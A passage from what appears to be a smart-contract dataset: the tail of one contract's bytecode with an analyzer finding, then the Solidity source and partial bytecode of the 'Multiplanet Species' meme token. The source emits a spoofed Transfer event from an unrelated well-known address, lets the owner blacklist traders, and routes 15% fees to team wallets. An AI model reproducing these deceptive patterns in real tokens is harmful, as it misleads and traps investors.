15156121ea576040805160e560020a62461bcd02815260206004820152605d60248201527f4974206973206e6f7420616e206578697374696e672061646d696e697374726160448201527f746f722077616c6c65742c20616e64206974206d757374206e6f74206265207460648201527f6865206f776e65722077616c6c6574206f662074686520746f6b656e2e000000608482015290519081900360a40190fd5b600160a060020a03166000908152600360205260409020805460ff19166001179055565b600160a060020a031660009081526020819052604090205490565b600254600090600160a060020a031633148061225957503360009081526003602052604090205460ff1615156001145b15156122b1576040805160e560020a62461bcd02815260206004820152602e60248201526000805160206136c98339815191526044820152600080516020613749833981519152606482015290519081900360840190fd5b600160a060020a038416151561230e576040805160e560020a62461bcd028152602060048201526024808201526000805160206136e9833981519152604482015260e160020a6332b9b99702606482015290519081900360840190fd5b61231f82600a63ffffffff61340916565b600160a060020a0385166000908152600c60209081526040808320879055600d909152902054909150612358908363ffffffff6133ac16565b600160a060020a0385166000908152600d6020908152604080832093909355600e9052205461238d908263ffffffff6133ac16565b600160a060020a0385166000818152600e6020908152604091829020939093558051868152928301859052805191926000805160206136a9833981519152929081900390910190a250505050565b600c6020526000908152604090205481565b600254600160a060020a031633148061241a57503360009081526003602052604090205460ff1615156001145b1515612472576040805160e560020a62461bcd02815260206004820152602e60248201526000805160206136c98339815191526044820152600080516020613749833981519152606482015290519081900360840190fd5b600154811115801561248c5750600160a060020a03821615155b151561252e576040805160e560020a62461bcd02815260206004820152605560248201527f4974206973207468652066697273742077616c6c6574206f7220617474656d7060448201527f74656420746f206c6f636b20616e20616d6f756e74206772656174657220746860648201527f616e2074686520746f74616c20686f6c64696e672e0000000000000000000000608482015290519081900360a40190fd5b600160a060020a0382166000908152600b6020526040902054612557908263ffffffff61334c16565b600160a060020a0383166000818152600b60209081526040918290209390935580518481529051919260008051602061368983398151915292918290030190a25050565b600254600160a060020a031633146125f8576040805160e560020a62461bcd0281526020600482015260216024820152600080516020613709833981519152604482015260f960020a601702606482015290519081900360840190fd5b600a5460ff1615612653576040805160e560020a62461bcd02815260206004820152601160248201527f546865726520697320612070617573652e000000000000000000000000000000604482015290519081900360640190fd5b600a805460ff191660011790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600254600090600160a060020a03163314806126bb57503360009081526003602052604090205460ff1615156001145b1515612713576040805160e560020a62461bcd02815260206004820152602e60248201526000805160206136c98339815191526044820152600080516020613749833981519152606482015290519081900360840190fd5b81518351146127b8576040805160e560020a62461bcd02815260206004820152604a60248201527f546865206e756d626572206f662077616c6c657420617272616e67656d656e7460448201527f7320616e6420746865206e756d626572206f6620616d6f756e7473206172652060648201527f646966666572656e742e00000000000000000000000000000000000000000000608482015290519081900360a40190fd5b5060005b8251811015611040576127fd82828151811015156127d657fe5b6020908102909101810151336000908152918290526040909120549063ffffffff61334c16565b33600090815260208190526040902055815161283a9083908390811061281f57fe5b90602001906020020151600080868581518110151561168857fe5b600080858481518110151561284b57fe5b6020908102909101810151600160a060020a0316825281019190915260400160002055825183908290811061287c57fe5b90602001906020020151600160a060020a031633600160a060020a031660008051602061372983398151915284848151811015156128b657fe5b906020019060200201516040518082815260200191505060405180910390a36001016127bc565b600254600160a060020a031681565b60125481565b60115460ff1681565b6006805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610b5d5780601f10610b3257610100808354040283529160200191610b5d565b600e6020526000908152604090205481565b600a5460009060ff16156129c6576040805160e560020a62461bcd02815260206004820152601160248201527f546865726520697320612070617573652e000000000000000000000000000000604482015290519081900360640190fd5b336000908152600d6020908152604080832054600b909252909120546129f19163ffffffff6133ac16565b33600090815260208190526040902054612a11908463ffffffff61334c16565b1015612a8d576040805160e560020a62461bcd02815260206004820152602e60248201527f417474656d7074696e6720746f2073656e64206d6f7265207468616e2074686560448201527f206c6f636b6564206e756d626572000000000000000000000000000000000000606482015290519081900360840190fd5b612a978383613516565b9392505050565b600254600160a060020a0316331480612acb57503360009081526003602052604090205460ff1615156001145b1515612b23576040805160e560020a62461bcd02815260206004820152602e60248201526000805160206136c98339815191526044820152600080516020613749833981519152606482015290519081900360840190fd5b6001548111158015612b3d5750600160a060020a03821615155b1515612bdf576040805160e560020a62461bcd02815260206004820152605560248201527f4974206973207468652066697273742077616c6c6574206f7220617474656d7060448201527f74656420746f206c6f636b20616e20616d6f756e74206772656174657220746860648201527f616e2074686520746f74616c20686f6c64696e672e0000000000000000000000608482015290519081900360a40190fd5b600160a060020a0382166000818152600b6020908152604091829020849055815184815291516000805160206136898339815191529281900390910190a25050565b6010805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610b5d5780601f10610b3257610100808354040283529160200191610b5d565b600b6020526000908152604090205481565b60096020526000908152604090205481565b336000908152600860209081526040808320600160a060020a0386168452909152812054612cd4908363ffffffff6133ac16565b336000818152600860209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600254600160a060020a03163314612d96576040805160e560020a62461bcd0281526020600482015260216024820152600080516020613709833981519152604482015260f960020a601702606482015290519081900360840190fd5b33600090815260208190526040902054612db6908263ffffffff61334c16565b3360009081526020818152604080832093909355600490522054612de0908263ffffffff6133ac16565b33600090815260046020526040902055600154611f3d908263ffffffff61334c16565b600160a060020a03166000908152600d602052604090205490565b600160a060020a03918216600090815260086020908152604080832093909416825291909152205490565b60025460009081908190600160a060020a0316331480612e7d57503360009081526003602052604090205460ff1615156001145b1515612ed5576040805160e560020a62461bcd02815260206004820152602e60248201526000805160206136c98339815191526044820152600080516020613749833981519152606482015290519081900360840190fd5b600092505b835183101561303e57600e60008585815181101515612ef557fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205491504262278d0001905080600c60008686815181101515612f3d57fe5b90602001906020020151600160a060020a0316600160a060020a0316815260200190815260200160002081905550612fb082600d60008787815181101515612f8157fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff61334c16565b600d60008686815181101515612fc257fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558351849084908110612ff357fe5b90602001906020020151600160a060020a03166000805160206136a98339815191528284604051808381526020018281526020019250505060405180910390a2600190920191612eda565b50505050565b600160a060020a03166000908152600e602052604090205490565b600254600160a060020a031633146130bc576040805160e560020a62461bcd0281526020600482015260216024820152600080516020613709833981519152604482015260f960020a601702606482015290519081900360840190fd5b600160a060020a038116158015906130e25750600254600160a060020a03828116911614155b801561310b5750600160a060020a03811660009081526003602052604090205460ff1615156001145b15156131ad576040805160e560020a62461bcd02815260206004820152604860248201527f4974206d75737420626520746865206578697374696e67206d616e616765722060448201527f77616c6c65742c206e6f7420746865206578697374696e67206f776e6572277360648201527f2077616c6c65742e000000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b600254604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600254600160a060020a031633148061324357503360009081526003602052604090205460ff1615156001145b151561329b576040805160e560020a62461bcd02815260206004820152602e60248201526000805160206136c98339815191526044820152600080516020613749833981519152606482015290519081900360840190fd5b600160a060020a03821615156132f8576040805160e560020a62461bcd028152602060048201526024808201526000805160206136e9833981519152604482015260e160020a6332b9b99702606482015290519081900360840190fd5b600160a060020a0382166000818152600c6020908152604091829020849055815184815291517f95111e894091b9103dca3cded89b90281fab3aabeee787af5665016554964a899281900390910190a25050565b6000828211156133a6576040805160e560020a62461bcd02815260206004820152601960248201527f546865726520617265206d6f726520746f206465647563742e00000000000000604482015290519081900360640190fd5b50900390565b600082820183811015612a97576040805160e560020a62461bcd02815260206004820152601c60248201527f546865206e756d62657220646964206e6f7420696e6372656173652e00000000604482015290519081900360640190fd5b600080821515613489576040805160e560020a62461bcd02815260206004820152602f60248201527f546865206e756d62657220796f752077616e7420746f20646976696465206d7560448201527f7374206265206e6f6e2d7a65726f2e0000000000000000000000000000000000606482015290519081900360840190fd5b828481151561349457fe5b0490508281028414612a97576040805160e560020a62461bcd02815260206004820152602c60248201527f416e206572726f72206f6363757272656420696e207468652063616c63756c6160448201527f74696f6e2070726f636573730000000000000000000000000000000000000000606482015290519081900360840190fd5b6000600160a060020a0383161580159061352f57508115155b801561354a5750336000908152602081905260409020548211155b15156135ec576040805160e560020a62461bcd02815260206004820152604660248201527f506c6561736520636865636b2074686520616d6f756e74206f66207472616e7360448201527f6d697373696f6e206572726f7220616e642074686520616d6f756e7420796f7560648201527f2073656e642e0000000000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b3360009081526020819052604090205461360c908363ffffffff61334c16565b3360009081526020819052604080822092909255600160a060020a0385168152205461363e908363ffffffff6133ac16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233926000805160206137298339815191529281900390910190a3506001929150505600173c6954f6574ae8ea8afd3eed2fc6ddd6f1aac55aab5e2c3a10edc59ba2dfd3b3be0c34f00697dcd7c5266c32310d621a1cb8f4854ca3cdc4c59fad0a8f272f4974206973206e6f7420746865206f776e6572206f72206d616e61676572207753616d6520617320746865206f726967696e616c2077616c6c657420616464724920616d206e6f7420746865206f776e6572206f66207468652077616c6c6574ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef616c6c657420616464726573732e000000000000000000000000000000000000a165627a7a72305820732711b9839feddfc7b6525ba6ba9420feaeff699c41c84be8aa2cf8b4da09370029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 3,980 |
0x980b1628693cb2679ba45c7e675f5a85aaa4ee4f
|
/**
*Submitted for verification at Etherscan.io on 2021-06-03
*/
/*
https://twitter.com/elonmusk/status/1390387635961610242?s=20
Everybody wants to live on another planet too.
This is the token that supports the multiplanet species which people could buy, hodl and use when they will need to go another planet.
https://t.me/multiplanetspecie
Multiplanet Species
🅼🅿🆂🅿🅴🅲🅸🅴🆂
╔═╗╔═╗──╔╗╔╗────╔╗─────────╔╗─╔═══╗
║║╚╝║║──║╠╝╚╗───║║────────╔╝╚╗║╔═╗║
║╔╗╔╗╠╗╔╣╠╗╔╬╦══╣║╔══╦═╗╔═╩╗╔╝║╚══╦══╦══╦══╦╦══╦══╗
║║║║║║║║║║║║╠╣╔╗║║║╔╗║╔╗╣║═╣║─╚══╗║╔╗║║═╣╔═╬╣║═╣══╣
║║║║║║╚╝║╚╣╚╣║╚╝║╚╣╔╗║║║║║═╣╚╗║╚═╝║╚╝║║═╣╚═╣║║═╬══║
╚╝╚╝╚╩══╩═╩═╩╣╔═╩═╩╝╚╩╝╚╩══╩═╝╚═══╣╔═╩══╩══╩╩══╩══╝
─────────────║║───────────────────║║
─────────────╚╝───────────────────╚╝
//Limit Buy yes
//Cooldown yes
//Liqudity Locked
//Ownership renounced
//CG, CMC listing: Ongoing
//Website: TBA
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract mpSpecies is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Multiplanet Species";
string private constant _symbol = unicode"mpSpecies U+1F468";
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 5;
_teamFee = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (20 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 5;
_teamFee = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4.25e9 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dc8565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061290e565b61045e565b6040516101789190612dad565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f4a565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128bf565b61048d565b6040516101e09190612dad565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612831565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190612fbf565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061298b565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612831565b610783565b6040516102b19190612f4a565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612cdf565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dc8565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061290e565b61098d565b60405161035b9190612dad565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061294a565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129dd565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612883565b61121a565b6040516104189190612f4a565b60405180910390f35b60606040518060400160405280601381526020017f4d756c7469706c616e6574205370656369657300000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161365a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2c9092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612eaa565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612eaa565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611b90565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8b565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612eaa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280601181526020017f6d705370656369657320552b3146343638000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612eaa565b60405180910390fd5b60005b8151811015610af757600160066000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613260565b915050610a43565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611cf9565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612eaa565b60405180910390fd5b601160149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612f2a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061285a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061285a565b6040518363ffffffff1660e01b8152600401610e1f929190612cfa565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061285a565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612d4c565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a06565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550673afb087b876900006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612d23565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd91906129b4565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d9061